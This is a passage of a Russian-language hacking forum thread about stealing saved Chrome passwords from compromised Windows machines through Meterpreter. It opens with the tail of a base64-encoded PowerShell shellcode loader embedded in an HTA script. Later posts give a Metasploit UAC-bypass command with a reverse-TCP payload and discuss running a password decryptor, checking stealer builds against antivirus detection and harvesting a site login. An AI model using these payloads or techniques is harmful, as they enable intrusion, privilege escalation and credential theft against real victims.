eAAxAGEALAAwAHgAMABkACwAMAB4AGMANQAsADAAeAA0ADEALAAwAHgAYQA0ACwAMAB4AGMAZAAsADAAeAA5ADYALAAwAHgAZAA3ACwAMAB4AGMAYwAsADAAeABkAGYALAAwAHgAOABlACwAMAB4ADUAMQAsADAAeABlAGUALAAwAHgAMQBmACwAMAB4ADcAYgAsADAAeABlADQALAAwAHgAMgBlACwAMAB4AGEAYgAsADAAeAA0ADkALAAwAHgANgBjACwAMAB4AGEAOQAsADAAeAA1ADUALAAwAHgAOQAxACwAMAB4AGYANgAsADAAeAA3ADUALAAwAHgAMgAwACwAMAB4AGYAMAAsADAAeABhADEALAAwAHgAYgA2ACwAMAB4ADkANAAsADAAeAAxADIALAAwAHgAMwA4ACwAMAB4AGMANwAsADAAeABkADQALAAwAHgAMQBjACwAMAB4ADgAYQAsADAAeAAwAGUALAAwAHgAMQA5ACwAMAB4AGMAZAAsADAAeABkAGMALAAwAHgANAA2ACwAMAB4ADYANQAsADAAeAAzAGYALAAwAHgAMgBlACwAMAB4ADgAOAAsADAAeABhADEALAAwAHgAMABiACwAMAB4ADUAMAA7ACQAVgBnACAAPQAgADAAeAAxADAAMAAwADsAaQBmACAAKAAkAEEAcgAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwAHgAMQAwADAAMAApAHsAJABWAGcAIAA9ACAAJABBAHIALgBMAGUAbgBnAHQAaAB9ADsAJABTAHEAPQAkAE0ATAA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAFYAZwAsADAAeAA0ADAAKQA7AGYAbwByACAAKAAkAEYAcQA9ADAAOwAkAEYAcQAgAC0AbABlACAAKAAkAEEAcgAuAEwAZQBuAGcAdABoAC0AMQApADsAJABGAHEAKwArACkAIAB7ACQATQBMADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAUwBxAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAEYAcQApACwAIAAkAEEAcgBbACQARgBxAF0ALAAgADEAKQB9ADsAJABNAEwAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAMAAsADAALAAkAFMAcQAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAKQB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADYAMAB9ADsAJwA7ACQAVgBnAEgAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAVwBVAFMAKQApADsAJABkAHgAIAA9ACAAIgAtAGUAYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAQQBpACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAaQBlAHgAIAAiACYAIAAkAEEAaQAgACQAZAB4ACAAJABWAGcASAAiAH0AZQBsAHMAZQB7ADsAaQBlAHgAIAAiACYAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAJABkAHgAIAAkAFYAZwBIACIAOwB9AA\'+\'==\')"', 0);window.close();
</script>

[/B]

причем тут вообще hta от unicorn? В моей статье хоть слово есть про это?) В винде ты где команды прописываешь?

Код:

Будучи в метерпретере shell code

[doublepost=1512397216,1512394110][/doublepost]

~localhost сказал(а):
у меня на стадии миграции уже проблемы, windows 7 pro. sp1

Попробуй bypassuac сделать для начала тогда.. Почитать можно здесь ТЫК

~localhost · 04.12.2017

[doublepost=1512397216,1512394110][/doublepost]
Попробуй bypassuac сделать для начала тогда.. Почитать можно здесь ТЫК[/quote]

каким то чудом мигрировал, но что то не так.

пишу C:\windows\system32\folden>powershell -file Chrome_Passwords_Decryptor.ps1 нажимаю интер
появляется так
powershell -file Chrome_Passwords_Decryptor.ps1
жму еще раз интер и какая то ошибка видимо на русском так как у меня знаки вопроса.

OneDollar · 04.12.2017

~localhost сказал(а):
[doublepost=1512397216,1512394110][/doublepost]
Попробуй bypassuac сделать для начала тогда.. Почитать можно здесь ТЫК

каким то чудом мигрировал, но что то не так.

пишу C:\windows\system32\folden>powershell -file Chrome_Passwords_Decryptor.ps1 нажимаю интер
появляется так
powershell -file Chrome_Passwords_Decryptor.ps1
жму еще раз интер и какая то ошибка видимо на русском так как у меня знаки вопроса.
[/quote]
скрин хотя бы дай

~localhost · 06.12.2017

OneDollar сказал(а):
каким то чудом мигрировал, но что то не так.

пишу C:\windows\system32\folden>powershell -file Chrome_Passwords_Decryptor.ps1 нажимаю интер
появляется так
powershell -file Chrome_Passwords_Decryptor.ps1
жму еще раз интер и какая то ошибка видимо на русском так как у меня знаки вопроса.

скрин хотя бы дай[/quote]

после мигрирования вроде и enum_chrome другие ошибки пишет

d3l373d · 06.12.2017

А вот у моего метода никакие эскалации не нужны.

OneDollar · 06.12.2017

SooLFaa сказал(а):
А вот у моего метода никакие эскалации не нужны.

Это какой? Который через метер? Он не всегда работает. Или стилак? Проверь его на детект аваспом

d3l373d · 06.12.2017

Проверял он чистый как слеза младенца. Удж свои то билды я знаю.

~localhost · 07.12.2017

SooLFaa сказал(а):
Проверял он чистый как слеза младенца. Удж свои то билды я знаю.

если про этот https://codeby.net/threads/voruem-paroli-iz-google-chrome.58962/ то на скрине выше видно что он не отработал, возможно я что то делаю не так.

d3l373d · 07.12.2017

~localhost сказал(а):
если про этот https://codeby.net/threads/voruem-paroli-iz-google-chrome.58962/ то на скрине выше видно что он не отработал, возможно я что то делаю не так.

Потому что сломан билд. Защита от скрипт киддис. Нужно обладать минимальными навыками программирования чтобы восстановить

~localhost · 07.12.2017

SooLFaa сказал(а):
Потому что сломан билд. Защита от скрипт киддис. Нужно обладать минимальными навыками программирования чтобы восстановить

я вроде не чего не делал с ним

DDD. навыки программирования: "моргал диодом Arduino"

кстати если не мигрировать то выдает так

d3l373d · 07.12.2017

А ты метасплоитовский модуль юзаешь. Он херня.

~localhost · 07.12.2017

SooLFaa сказал(а):
А ты метасплоитовский модуль юзаешь. Он херня.

а у тебя я так понял свой самописный? он у тебя в открытом доступе??

d3l373d · 07.12.2017

~localhost сказал(а):
а у тебя я так понял свой самописный? он у тебя в открытом доступе??

Так в той же теме, сначала я привожу пример метерпретер модуля потом своего и исходники.

Juice · 12.12.2017

Где
Взять
Святую
Воду
???
!!!

OneDollar · 12.12.2017

Juice сказал(а):
Где
Взять
Святую
Воду
???
!!!

Это не обязательный компонент

)

IKUS · 13.12.2017

Респект , Уважуха АФФтару ! Заработало с допилкой его ! - по процессам AMD 64 . У меня тестовая машина - win 7 x64
PS . Кстати , выдал логин , пароль это сайта при регистрации . Если спалил контору ,сорри , удалю комментарий

IKUS · 13.12.2017

~~^Shad0w __ Just1ce^~~ сказал(а):
Нужно bypass uac делать, ну или любими другими средствами получить сессию от имени админа.

Для того что бы получить такую сессию к примеру можно выполнить следующее:

Код:

use exploit/windows/local/bypassuac_eventvwr set session 2 (тут номер вашей сессии) set payload windows/meterpreter/reverse_tcp set LPORT 4488 (ваш порт) set LHOST 192.168.0.103 (ваш айпи) explot -j

---

таким способом не получилось , в прочим как и остальными , смотреть скрины...

Это касается исключительно повышения привилегий ( немного не в тему дня )

OneDollar · 13.12.2017

IKUS сказал(а):
---

таким способом не получилось , в прочим как и остальными , смотреть скрины...

Это касается исключительно повышения привилегий ( немного не в тему дня )

Посмотреть вложение 13831

Посмотреть вложение 13832

посмотри каким методом делал я, у тебя все получится. Я вчера проверял в империи и метере, специально. Все работает

IKUS · 13.12.2017

OneDollar сказал(а):
посмотри каким методом делал я, у тебя все получится. Я вчера проверял в империи и метере, специально. Все работает

делал как в твоей - статье

Вот именно в такой ситуации и не получается

Всегда моделирую не простые задачи , не знаешь с чем столкнешься

Dump Chrome Passwords

Вложения

Комментарии

Вложения

Ещё по теме